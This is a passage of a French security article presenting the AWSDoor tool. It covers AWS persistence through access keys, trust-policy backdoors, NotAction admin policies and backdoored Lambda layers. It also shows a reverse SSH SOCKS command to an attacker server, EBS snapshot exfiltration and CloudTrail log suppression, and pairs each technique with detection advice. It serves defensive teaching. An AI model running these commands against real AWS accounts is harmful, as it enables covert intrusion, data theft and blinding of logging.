Cependant, cette technique présente certaines limitations :

• Un utilisateur ne peut avoir que deux AccessKey enregistrées simultanément.
• Certaines SCP (Service Control Policies), des politiques globales appliquées par l’organisation sur un sous-compte, peuvent empêcher l’utilisation des AccessKey ou imposer l’authentification multifacteur (MFA).

Concernant la limitation du nombre de clés d’accès enregistrées sur un utilisateur, il est possible de :

• Lister les AccessKey enregistrées sur un utilisateur
• Obtenir la dernière date d’utilisation de l’AccessKey : en général, si un utilisateur possède plus d’une AccessKey, la seconde a été perdue, ou n’est plus utilisée et peut être désactivée et supprimée avec un risque acceptable
• Supprimer l’AccessKey inutilisée

Pour lister et supprimer une AccessKey, les privilèges suivants sont nécessaires :

•  iam:ListAccessKeys : permet de récupérer les détails des AccessKey
•  iam:UpdateAccessKey : permet de désactiver la clé avant sa suppression
•  iam:DeleteAccessKey : permet de supprimer effectivement l’AccessKey

Il est possible d’enregistrer un dispositif MFA sur un utilisateur spécifique sans son consentement, ce qui permet de contourner la restriction. Cependant, si la connexion via AccessKey est refusée, cette technique ne peut pas être utilisée.

Pour ajouter une AccessKey à un utilisateur, le privilège suivant est requis :

•  iam:CreateAccessKey

Pour ajouter un dispositif MFA à un utilisateur, les privilèges suivants sont requis :

•  aws:CreateVirtualMfaDevice
•  aws:EnableMfaDevice

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m AccessKey -u adele.vance

[+] Access key created for user: adele.vance
[+] Access key ID: AKIAWMFUPIEBGOX73NJY
[+] Access key Secret: p4g[…]i7ei

La clé est ensuite ajoutée à l’utilisateur :

Défense

Bien que l’ajout d’une AccessKey à un utilisateur soit le moyen le plus simple d’obtenir une persistance dans un environnement AWS, il s’agit également de l’une des méthodes les moins discrètes.

En effet, si l’équipe de détection identifie la compromission de l’environnement, elle peut facilement retrouver l’AccessKey déployée par l’utilisateur compromis via les journaux AWS CloudTrail :

De plus, certaines solutions de sécurité, telles que les systèmes de gestion de posture de sécurité cloud (Cloud Security Posture Management), peuvent détecter ce type de persistance si les utilisateurs n’emploient généralement pas d’AccessKey.

Enfin, à titre de recommandation, il est généralement préférable d’éviter l’utilisation d’utilisateurs IAM avec AccessKey et de privilégier l’utilisation d’AWS SSO :  https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html.

Une fois l’authentification SSO configurée, le nombre d’utilisateurs « humains » tombe à 0, seuls les utilisateurs de service restant. Il devient alors plus facile de repérer les AccessKey malveillantes et de surveiller de près celles existantes (par exemple, les utilisateurs de service CICD).

Trust Policy

Dans AWS, les rôles sont des objets IAM utilisés pour déléguer l’accès entre les services, les comptes ou les utilisateurs. Contrairement aux utilisateurs IAM, les rôles ne possèdent pas d’identifiants à long terme. Ils sont plutôt assumés (utilisés) via l’API sts:AssumeRole, qui renvoie des identifiants temporaires accordant les autorisations définies dans les politiques d’autorisations du rôle.

Pour contrôler qui peut assumer un rôle, AWS utilise un document spécifique appelé Trust Policy (Politique de confiance). Une Trust Policy spécifie les identités de principaux de confiance (utilisateurs, rôles, comptes, services ou utilisateurs fédérés) autorisées à assumer le rôle. Si un principal n’est pas listé dans la politique de confiance d’un rôle, il ne peut tout simplement pas l’assumer, quelles que soient les autorisations qu’il détient ailleurs.

Exemple de cas d’utilisation pour AssumeRole et la Trust Policy

Imaginez une entreprise disposant de plusieurs comptes AWS :

• un pour le développement
• un pour la préproduction (staging)
• un pour la production

Plutôt que de créer et gérer des utilisateurs IAM distincts dans chaque environnement, l’organisation définit un groupe centralisé d’administrateurs dans un compte de gestion.

Chaque compte cible définit un rôle avec des privilèges élevés (par exemple, CrossAdminAccess) et configure une TrustPolicy n’autorisant que les identités IAM du compte de gestion à l’assumer. La TrustPolicy, déployée sur chaque compte cible, ressemblera à ceci :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"
      },
      "Action": "sts:AssumeRole",
    }
  ]
}

Cette approche permet de maintenir une séparation claire entre les environnements tout en conservant un contrôle centralisé. Les administrateurs « changent de rôle » depuis le compte de gestion vers les autres comptes uniquement lorsque cela est nécessaire, sans dupliquer les identifiants. Après l’action AssumeRole, l’administrateur du compte de gestion obtient des privilèges d’administration temporaires sur le compte ciblé.

Attaque

Comme indiqué dans la TrustPolicy précédente, la capacité à assumer un rôle spécifique dans un compte est gérée par la politique qui autorise explicitement un compte externe à assumer un rôle dans le compte cible.

Cependant, rien n’impose à la TrustPolicy de n’autoriser que des comptes connus et de confiance. Un attaquant disposant des privilèges nécessaires pour modifier une TrustPolicy peut y introduire une porte dérobée en autorisant son propre compte AWS à assumer le rôle dans le compte compromis :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::${attackerAccountId}:role/fakeRole"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Une fois cette politique appliquée, il est possible d’assumer directement le rôle compromis depuis l’extérieur.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames
[-] Initial trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::438465151234:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] New trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::438465151234:user/ADM01",
          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] Do you want to apply this change? (yes/no): yes
[+] Trust policy for FAKEROLE updated

 

L’outil permet de :

• Cibler une instruction spécifique avec l’argument -s : par défaut, l’outil injectera la politique de confiance dans la première instruction Allow qu’il trouve. S’il y a plusieurs instructions dans la politique, il est possible d’utiliser le paramètre -s pour cibler une instruction précise.
• Créer une nouvelle instruction avec l’argument -c : avec cette option, il est possible de forcer la création d’une nouvelle instruction avec un nom spécifique (MALICIOUS dans l’exemple ci-dessous).

Défense

Ce type de persistance constitue un mécanisme de persistance puissant dans les environnements AWS. Cette technique ne nécessite pas de stocker des identifiants dans l’environnement victime, ce qui la rend très discrète et durable, d’autant plus que l’équipe de détection se concentre généralement uniquement sur les clés d’accès ou l’utilisation locale des rôles.

La détection de cette méthode de persistance exige une surveillance attentive des modifications apportées aux politiques de confiance. AWS CloudTrail enregistre des événements tels que UpdateAssumeRolePolicy, qui peuvent révéler lorsqu’une politique de confiance est modifiée.

De même, AWS Config peut être utilisé avec des règles personnalisées pour détecter les politiques de confiance (TrustPolicy) ciblant des comptes non gérés.

NotAllow

Attaque

Une politique de rôle IAM (IAM role policy) est un document JSON attaché à un rôle IAM qui définit quelles actions le rôle est autorisé (ou interdit) d’effectuer, sur quelles ressources et dans quelles conditions.

Par exemple, la politique suivante permet au rôle associé de lister tous les buckets S3 du compte :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "*"
    }
  ]
}

Dans la syntaxe des politiques, il est possible d’utiliser un opérateur de négation : au lieu de définir une liste blanche (whitelist) d’actions autorisées, il est possible de définir une liste noire (blacklist) d’actions.

En effet, en utilisant l’opérateur NotAction, AWS appliquera l’effet de l’instruction à toutes les actions, sauf celles explicitement listées.

Par exemple, la politique suivante :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": "s3:ListBucket",
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

Cette politique permettra au rôle d’exécuter toute action sauf l’action ListBucket sur le bucket S3 cloudtrails-logs-01032004 : elle accorde donc au rôle associé des privilèges maximaux sur le compte.

Pour un défenseur, cette politique peut, à première vue, sembler inoffensive car elle cible une ressource S3 précise. En réalité, elle confère des privilèges équivalents à AdministratorAccess au rôle.

Un attaquant peut ensuite installer une porte dérobée (backdoor) sur ce rôle en utilisant la persistance via la TrustPolicy, comme expliqué précédemment, afin d’obtenir un accès complet et à distance au compte AWS compromis.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY
[+] The following policy will be added :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": [
        "s3:ListBucket"
      ],
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY
[+] Attaching the policy to FAKEROLE
[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE

Pour la stratégie, il existe deux possibilités :

•  Politique attachée : c’est la méthode la plus courante pour ajouter une stratégie à un rôle. Tout d’abord, une stratégie est créée avec l’instruction NotAction, puis la stratégie est attachée au rôle. La stratégie apparaîtra alors dans le panneau IAM/Policies :

• Stratégie inline (-i) : c’est la manière la plus rapide d’ajouter une stratégie à un rôle. La stratégie est créée directement au niveau du rôle (d’où le terme inline). Bien qu’il soit plus simple de créer ce type de stratégie, cela est généralement considéré comme une mauvaise pratique de configuration, car la stratégie n’apparaîtra pas dans le panneau IAM/Policies, ce qui la rend plus difficile à retrouver lors d’un examen de configuration.

Par conséquent, certains outils de conformité spécifiques peuvent signaler la stratégie inline. Non pas parce qu’elle est malveillante, mais parce qu’elle n’est pas conforme aux bonnes pratiques de sécurité.

Défense

Du point de vue d’un défenseur, l’utilisation de NotAction combinée à l’effet Allow dans les stratégies IAM doit immédiatement susciter des soupçons, en particulier lorsqu’elle est associée à des champs NotResource.

Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à se défendre contre ce type d’escalade de privilèges :

•  Surveiller les modifications des stratégies IAM via CloudTrail : toute création ou modification de stratégies IAM peut être suivie dans CloudTrail avec les événements suivants : CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion et SetDefaultPolicyVersion.
•  Enquêter sur les documents de stratégie contenant le mot-clé NotAction : cela peut être automatisé en créant un scénario associé dans CloudWatch (NotAction dans requestParameters.policyDocument).
•  Appliquer un contrôle de conformité avec AWS Config : une règle de configuration personnalisée peut être définie pour signaler toute stratégie incluant NotAction ou NotResource avec un effet Allow.

Persistance basée sur les ressources

Dans AWS, il est courant d’attacher des rôles IAM à des ressources comme des fonctions Lambda, des instances EC2 ou des tâches ECS. Cela permet à ces services d’accéder de manière sécurisée à d’autres ressources AWS, en fonction des autorisations définies dans le rôle. Par exemple, une instance EC2 peut utiliser un rôle pour lire des secrets dans Secrets Manager ou envoyer des journaux vers CloudWatch.

Du point de vue d’un attaquant, cette configuration peut être utile pour maintenir une persistance. S’il parvient à compromettre une ressource disposant d’un rôle hautement privilégié, tel qu’un rôle avec AdministratorAccess, il peut utiliser ce rôle pour interagir avec AWS de la même manière que le ferait la ressource.

Cela signifie que l’attaquant n’a pas besoin de créer de nouvelles informations d’identification ni de modifier directement IAM. Tant qu’il conserve l’accès à la ressource, il peut continuer à utiliser les autorisations du rôle, ce qui rend cette méthode à la fois efficace et plus difficile à détecter.

Lambda

Les fonctions AWS Lambda sont devenues un choix populaire pour exécuter du code dans le cloud sans avoir à gérer de serveurs. Elles permettent aux développeurs et aux organisations d’automatiser des tâches, de répondre à des événements et de créer des applications évolutives qui ne s’exécutent qu’en cas de besoin. Par exemple, Lambda peut traiter des fichiers téléchargés dans S3, gérer des requêtes API ou réagir automatiquement à des modifications dans une base de données.

Par exemple, pour gérer les administrateurs de comptes, il est possible de créer une fonction Lambda qui ajoute des privilèges à un utilisateur lorsqu’il est ajouté à une base de données DynamoDB : la modification de DynamoDB déclenche le code Lambda, qui modifie alors les privilèges de l’utilisateur en fonction des changements dans la base de données.

Par conséquent, il n’est pas habituel d’associer une identité IAM à une fonction Lambda.

Rôle sur-privilégié

Un moyen d’obtenir une persistance sur un compte AWS consiste soit à associer une identité IAM sur-privilégiée à une fonction Lambda existante, soit à modifier le code d’une fonction Lambda déjà sur-privilégiée.

Par exemple, un attaquant peut :

•  Créer une fonction Lambda
•  Associer un rôle IAM privilégié (en utilisant par exemple l’astuce NotAction)
•  Ajouter un code Python permettant soit d’exécuter du code arbitraire, soit d’extraire les identifiants temporaires de la Lambda
•  Exposer le répertoire de la Lambda sur Internet via un API Gateway ou une Lambda Function

La figure suivante résume le déploiement de la persistance :

Lambda layers

La technique de persistance Lambda décrite ci-dessus est efficace, mais elle présente un inconvénient majeur : le code malveillant est facile à repérer. Si quelqu’un modifie la logique métier principale de la fonction ou examine le code source lors d’une enquête, la porte dérobée sera probablement découverte et supprimée.

Une approche plus subtile consiste à dissimuler la charge utile malveillante dans une Lambda layer plutôt que dans le code même de la fonction.

Une Lambda layer est un moyen de distribuer des dépendances partagées telles que des bibliothèques ou des environnements d’exécution personnalisés. Au lieu d’intégrer ces éléments directement dans la fonction, on peut les téléverser séparément et les attacher à une ou plusieurs fonctions Lambda. Cela allège le package de déploiement et facilite la réutilisation du code entre différents projets. Les layers sont couramment utilisées pour inclure des outils comme requests ou les SDK AWS (boto3) dans plusieurs fonctions.

Du point de vue d’AWS, la layer est attachée à la fonction, mais son contenu n’est pas affiché directement dans la console.

Comme illustré dans la capture d’écran ci-dessous, AWS se contente d’indiquer la présence de la layer ; pour l’inspecter, un utilisateur doit se rendre manuellement dans le panneau Lambda Layers et la télécharger au format ZIP.

L’utilisation d’un layer est visible (mais peut facilement passer inaperçue), mais pour télécharger le code, l’utilisateur doit se rendre dans un panneau spécifique Lambda Layer et le télécharger (sans l’afficher) au format ZIP :

Ces étapes supplémentaires peuvent rendre les défenseurs moins enclins à examiner le contenu de la layer lors de la phase initiale de triage.

Un attaquant peut exploiter cela en créant une couche contenant une version compromise d’une bibliothèque standard, telle que requests. En surchargeant une fonction interne avec un comportement malveillant, l’attaquant obtient une exécution de code à distance chaque fois que la fonction est utilisée.

Par exemple, après avoir téléchargé le package requests avec pip :

pip install -t python requests

L’attaquant modifie la fonction get() afin d’exécuter des commandes arbitraires :

Ensuite, le package est compressé au format ZIP et déployé en tant que layer, qui est attachée à la fonction cible :

Enfin, le code source de la fonction Lambda est mis à jour pour utiliser la bibliothèque compromise, ce qui peut sembler inoffensif à première vue :

Ce qui ressemble à une requête HTTP légitime est désormais un déclencheur pour un comportement malveillant caché. À moins que le défenseur n’inspecte le contenu réel de la couche attachée, cette porte dérobée peut rester indétectée.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l
[+] The following trust policy will be created :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Layer created
[+] Created lambda function lambda_test2
[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/

Quelques paramètres supplémentaires peuvent être utilisés :

•  -l : utiliser une couche Lambda, sinon inclure le code malveillant directement dans la Lambda
•  -g : utiliser une API Gateway, sinon utiliser une FunctionURL

L’API Gateway est une méthode plus propre pour exposer une Lambda sur Internet ; cependant, il est possible de repérer facilement qu’elle est accessible depuis Internet, car cela est affiché comme un déclencheur.

La charge utile déployée par défaut prend un code Python passé en paramètre GET cmd, l’exécute, puis renvoie les données stockées dans la variable result:

curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` 
>> {result: “Hello World”}

Défense

Du point de vue d’un défenseur, les Lambda layers sont souvent négligées lors des réponses à incident, en particulier lorsque seul le code de la fonction est examiné. Comme les layers ne sont pas affichées en ligne dans la console Lambda et doivent être téléchargées manuellement sous forme d’archives ZIP, un contenu malveillant peut facilement passer inaperçu. Cela fait des layers un emplacement attractif pour les attaquants souhaitant dissimuler des portes dérobées ou des dépendances compromises.

Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à identifier et à réagir à une utilisation suspecte des couches Lambda :

•  Auditer les attachements de Lambda layers: l’événement UpdateFunctionConfiguration est enregistré par CloudTrail qu’un nouveau layer est attachée à une fonction Lambda. Il est alors possible de suivre les changements inhabituels ou les associations entre des équipes ou projets sans lien.
•  Restreindre la mise à jour des layers au flux CICD : empêcher toute modification de couche en dehors de la pipeline CICD, en établissant une liste blanche des rôles autorisés à le faire. Concentrer les efforts de détection et de chasse aux menaces sur les usages abusifs ou les mises à jour de ce rôle.
•  Vérifier les Lambda exposées directement sur Internet : exposer une Lambda sur Internet peut être un signe de déploiement de persistance. Toute modification inhabituelle de configuration impliquant l’exposition d’une telle ressource sur Internet doit être investiguée.

Bien que les layers soient une fonctionnalité puissante et utile, elles constituent un angle mort dans de nombreuses configurations de monitoring de la sécurité AWS.

EC2

Socks

AWS Systems Manager (SSM) offre un moyen puissant et flexible de gérer et d’interagir avec des instances EC2 sans nécessiter d’accès réseau direct tel que SSH ou RDP. Au cœur de son fonctionnement, SSM permet la gestion à distance en utilisant un agent installé sur l’instance, qui communique de manière sécurisée avec le service Systems Manager. Par ce canal, les administrateurs peuvent exécuter des commandes, lancer des scripts ou ouvrir des sessions shell interactives sur les instances, le tout sans les exposer à Internet public ni gérer de bastions d’accès.

L’un des principaux avantages de SSM est la réduction de la surface d’attaque grâce à la limitation des services exposés. Comme la communication est initiée depuis l’instance elle-même, qui se connecte aux points de terminaison du service SSM, cette approche fonctionne même dans un environnement réseau sécurisé où l’accès entrant est restreint.

D’un point de vue sécurité, bien que SSM réduise l’exposition, il introduit également de nouveaux risques. Par exemple, si un attaquant compromet une identité disposant des autorisations pour démarrer des sessions SSM ou envoyer des commandes, il peut obtenir une exécution de code à distance sur l’instance sans nécessiter de point d’appui réseau.

Un attaquant ayant accès au compte AWS peut exploiter les capacités de SSM pour compromettre une instance EC2 et l’utiliser comme pivot réseau. Une approche courante consiste à déployer un proxy SOCKS inversé via SSH. En utilisant SSM, l’attaquant peut exécuter des commandes sur l’instance EC2 pour y déployer une clé SSH, puis lancer une commande afin d’exposer le port SSH de l’EC2 vers son propre serveur :

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f

Ensuite, l’attaquant, depuis son serveur, peut ouvrir un proxy SOCKS via SSH à l’aide de la commande suivante :

ssh -D 4444 ssm-user@127.0.0.1:2222

Cela lui permet de faire transiter du trafic à travers l’instance EC2 compromise, en l’utilisant comme point d’appui à l’intérieur du réseau.

Exfiltration de snapshot

Bien qu’elle ne constitue pas un mécanisme de persistance, l’exfiltration de snapshot est une technique puissante d’exfiltration de données dans les environnements AWS. Elle exploite la possibilité de partager des snapshots Elastic Block Store (EBS) entre différents comptes AWS. Bien que cette fonctionnalité soit conçue pour la sauvegarde ou la collaboration, elle peut être détournée pour exfiltrer massivement des données.

Un attaquant disposant de permissions suffisantes dans un compte AWS compromis peut créer un snapshot d’un volume EBS, puis le partager avec un compte externe qu’il contrôle.

Depuis ce compte AWS externe, le snapshot peut être monté, copié et inspecté, donnant à l’attaquant un accès complet aux données du disque sous-jacent sans jamais rien télécharger directement depuis l’environnement cible.

Cette méthode est particulièrement dangereuse lorsqu’elle est appliquée à une infrastructure sensible. Par exemple, si un contrôleur de domaine est virtualisé dans AWS, un attaquant peut prendre un snapshot de son volume, le partager avec son propre compte AWS et en extraire des fichiers sensibles tels que ntds.dit.

Tout cela peut se produire sans qu’il soit nécessaire d’interagir avec l’instance via le réseau, en contournant ainsi tous les outils de sécurité déployés sur le réseau interne.

Il s’agit d’une technique d’exfiltration de données à faible bruit mais à fort impact, qui détourne des fonctionnalités natives d’AWS et passe inaperçue si des contrôles spécifiques ne sont pas en place.

AWSDoor

Ces deux techniques sont implémentées dans AWSDoor. Les commandes suivantes peuvent être utilisées pour exporter une instance EC2 spécifique :

python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   
 
[-] The following volumes will be snapshoted and shared with 503561426720:                                       
        - vol-09ce1bf602374a743
[+] Do you want to apply this change? (yes/no): yes
[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743
[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720

De la même manière, l’action SSH SOCKS peut être automatisée :

python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd

[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da
[-] Waiting 10 seconds for execution
[+] Status: Success

Détection

Pour la partie snapshot, CloudTrail enregistre plusieurs événements :

• CreateSnapshot : enregistré lorsqu’un snapshot est créé. Il s’agit d’une opération courante dans la plupart des environnements disposant de politiques de sauvegarde, donc pas intrinsèquement suspecte. Cependant, il est facile pour des attaquants de se fondre dans le bruit en imitant l’activité de sauvegarde standard.
• ModifySnapshotAttribute : enregistré lorsque le snapshot est partagé. Bien que la modification d’un attribut de snapshot ne soit pas inhabituelle, une simple analyse du contenu montre que le snapshot a été partagé avec un compte distant :

Il est donc possible de limiter ce type d’exploitation en surveillant l’événement ModifySnapshotAttribute et en s’assurant que la valeur de userId se situe dans la plage des comptes liés à l’organisation.

De même, une méthode relevant de la « sécurité par l’obscurité » consisterait à ajouter des balises spécifiques lorsque des snapshots sont effectués à des fins de sauvegarde, puis à déclencher une alerte lorsqu’un snapshot est créé sans la balise appropriée. La balise pourrait, par exemple, être un hachage de l’heure de création, dérivé d’un secret connu uniquement de l’outil de sauvegarde.

BackupTag=HMAC(creation_time, secret)

Pour l’exploitation en reverse SOCKS, cela dépend de la manière dont l’accès SSM est effectué :

• Depuis la console AWS (GUI) : un événement StartSession est enregistré dans CloudTrail lorsque l’attaquant démarre la connexion distante vers la machine. Le journal contient l’adresse IP de l’attaquant ainsi que l’identifiant EC2 ciblé.

• Depuis l’AWS CLI ou AWSDoor : l’événement StartSession n’est pas généré, mais c’est GetCommandInvocation qui est enregistré à la place.

Cependant, quelle que soit la technique utilisée, CloudTrail ne journalise pas la ligne de commande complète envoyée. Il reste donc pertinent et important d’ajouter une solution EDR directement sur les ressources.

Altération des défenses

L’altération des défenses désigne toute action délibérée entreprise par un attaquant pour affaiblir, désactiver ou contourner les capacités de surveillance et de détection d’un environnement cible. Dans AWS, cela implique généralement de manipuler les configurations de journalisation, de désactiver des services de sécurité ou de modifier les mécanismes d’alerte afin d’éviter la détection pendant ou après une attaque.

AWS fournit plusieurs services intégrés conçus pour surveiller l’activité, appliquer la conformité et alerter en cas de comportement suspect. Ces services incluen : CloudTrail pour la journalisation des appels API, CloudWatch Logs et CloudWatch Alarms pour la surveillance et l’alerte en temps réel, GuardDuty pour la détection des menaces, Security Hub pour la centralisation des constats de sécurité et Config pour le suivi de la configuration des ressources. Les environnements plus avancés peuvent également s’appuyer sur des SIEM tiers ou des plateformes CSPM intégrées à leurs comptes AWS.

La désactivation ou la modification de l’un de ces services peut réduire considérablement la visibilité dont disposent les défenseurs sur les activités malveillantes, faisant de l’altération des défenses une tactique essentielle dans de nombreuses attaques menées dans le cloud.

CloudTrail et CloudWatch

Introduction à la journalisation AWS

Dans les environnements AWS, CloudTrail et CloudWatch sont deux services essentiels de journalisation et de surveillance qui jouent des rôles complémentaires, mais avec des finalités très différentes. CloudTrail est conçu pour enregistrer toute l’activité API qui se produit dans un compte AWS. Il consigne chaque appel effectué via la console de gestion AWS, l’AWS CLI, les SDK ou autres services AWS. Ainsi, lorsqu’une personne crée une instance EC2, modifie un groupe de sécurité ou supprime une ressource, CloudTrail capture qui a effectué l’action, quand, où et quoi. Ces journaux sont indispensables pour l’audit, les enquêtes forensiques et le suivi des modifications apportées à l’infrastructure.

CloudWatch, quant à lui, se concentre sur la surveillance opérationnelle. Il collecte et stocke les journaux provenant des services et applications, suit des métriques comme l’utilisation CPU ou la consommation mémoire, et prend en charge les alarmes et tableaux de bord pour une visibilité en temps réel. Lorsqu’une application écrit des journaux ou que la surveillance des performances système est nécessaire, c’est CloudWatch qui est utilisé. Il peut également être configuré pour recevoir et stocker les journaux provenant de fonctions Lambda, d’instances EC2 ou d’applications personnalisées.

La journalisation réseau est également proposée par AWS via les services VPC Flow Logs ou VPC Mirroring. Bien qu’ils puissent être utilisés à des fins de sécurité, leur utilité principale est davantage orientée vers la surveillance opérationnelle. Cet article se concentrera sur le service CloudTrail.

CloudTrail est activé par défaut et conserve les événements pendant 90 jours. Ce service constitue une base de journalisation qui ne peut pas être restreinte ou désactivée. Cependant, des capacités de journalisation supplémentaires peuvent être activées en définissant des trails dans CloudTrail.

CloudTrail conserve les journaux et garantit leur intégrité pendant 90 jours, après quoi les journaux sont supprimés de l’Event History. Si une organisation souhaite assurer une durée de conservation plus longue ou mettre en place une surveillance en temps réel spécifique à partir de ces journaux, elle doit configurer un trail. Cette configuration duplique les journaux et les transfère vers un bucket S3, sur lequel peuvent être branchés des outils de sécurité supplémentaires.

En tant qu’administrateur Cloud, il est possible de créer un « Organization Trail » qui se réplique dans tous les comptes cibles de l’organisation. Une fois mis en place, il n’est pas possible pour un compte ciblé de supprimer ou de désactiver ce trail.

Arrêt de la journalisation

Attaque

S’il n’est pas facilement possible d’altérer les capacités de journalisation de CloudWatch, il est en revanche possible d’affecter celles de CloudTrail en désactivant simplement la fonction de journalisation.

Cette fonctionnalité permet d’interrompre l’enregistrement des événements par un trail sans pour autant le supprimer :

Bien que cette technique soit efficace pour altérer certaines capacités spécifiques de journalisation, elle présente plusieurs inconvénients majeurs :

• Effet limité : même si un trail spécifique est impacté, les Organization Trails ne peuvent pas être contournés de cette manière. De plus, l’Event History, avec sa période de rétention inaltérable de 90 jours, restera toujours disponible.
• Action bruyante : même si la commande d’arrêt n’est pas détectée, la plupart des solutions SIEM déclenchent des alertes lorsque le flux de journaux s’interrompt.

AWSDoor

Cette technique est implémentée dans AWSDoor:

python .\main.py --m CloudTrailStop -s
[+] Trail logging stopped on 'management-events'

La limitation réside dans le fait que cela ne désactivera que les trails définis dans le compte actuel et ne supprimera pas ceux définis au niveau de l’organisation.

Défense

Du côté du défenseur, cette technique peut être facilement détectée en consultant l’interface graphique. De plus, CloudTrail enregistre également l’événement StopLogging, indiquant qu’un trail a été altéré.

Sélecteur d’évènement

Attack

Dans AWS CloudTrail, les sélecteurs d’événements permettent un contrôle précis sur les types d’événements qu’un trail enregistre. Ces sélecteurs peuvent être configurés pour consigner les événements de gestion, les événements de données, ou les deux. Les événements de gestion enregistrent les opérations qui administrent les ressources AWS, comme le lancement d’une instance EC2 ou la modification de rôles IAM. Il s’agit généralement d’appels API de haut niveau effectués via la console, le SDK ou l’AWS CLI, et ils sont essentiels pour l’audit des actions administratives.

Par défaut, les trails enregistrent les événements de gestion, mais il est possible de modifier les sélecteurs d’événements pour les exclure partiellement ou totalement. Cette flexibilité peut être utile pour réduire le bruit ou les coûts dans des environnements fortement automatisés, mais elle introduit également un risque. Un attaquant disposant des autorisations adéquates pourrait manipuler les sélecteurs d’événements d’un trail afin de supprimer certains types de journaux, par exemple en désactivant l’enregistrement des événements de gestion, ce qui réduirait la visibilité sur les changements effectués pendant ou après une compromission.

Ainsi, en modifiant les sélecteurs d’événements, il est possible de dégrader les capacités de journalisation de CloudTrail, rendant plus difficile pour les défenseurs la détection d’activités non autorisées ou l’investigation d’incidents.

L’événement de gestion peut être simplement désactivé. Pour l’événement de données, afin d’éviter d’avoir un champ vide dans l’interface graphique, il est possible de forcer la configuration du sélecteur d’événements à n’enregistrer que des événements liés à une ressource inexistante :

AWSDoor

AWSDoor peut être utilisé pour reconfigurer le sélecteur d’événements afin d’empêcher la journalisation des événements de données et de gestion :

python .\main.py --m CloudTrailStop
[+] Adding event selector on management-events
[+] Management events disabled on trail 'management-events'

Une fois le script exécuté, le sélecteur d’événements est configuré. Le trail apparaît toujours comme actif:

Cependant, le sélecteur d’événements empêche toute journalisation ultérieure :

Défense

La création du sélecteur d’événements peut être détectée grâce à l’événement PutEventSelector enregistré dans CloudTrail :

De même, l’analyse de la collecte des journaux et de leur volumétrie constituerait un indicateur de compromission intéressant. Si le flux de journaux s’interrompt, il est probable qu’il s’agisse d’une attaque.

Destruction

Les attaques ciblant la destruction de données visent à provoquer d’importants dommages opérationnels en effaçant ou en corrompant de manière permanente des informations et des infrastructures critiques. Contrairement à l’exfiltration de données ou à l’élévation de privilèges, ces attaques ne cherchent pas à extraire de la valeur ou à maintenir un accès, mais plutôt à perturber la continuité des activités, nuire à la réputation ou saboter les systèmes de façon irréversible.

Dans les environnements cloud comme AWS, les attaques destructrices peuvent toucher tous types de ressources, comme par exemple : les ressources de stockage, les ressources de calcul ou les composants de configuration tels que les rôles IAM et les fonctions Lambda :

• La suppression de buckets S3 peut entraîner la perte de sauvegardes, de données clients ou d’informations réglementaires / techniques (journalisation).
• L’effacement de volumes EBS ou de snapshots RDS peut provoquer la perte totale de l’état d’une application ou de bases de données critiques.
• Le formatage du compte AWS (en supprimant tous les services possibles) peut causer une interruption de service très longue, même si les données sont sauvegardées en externe, en particulier si l’infrastructure n’est pas déployée via IaC ou si l’IaC est également détruit.

AWS Organization Leave

Organization Leave

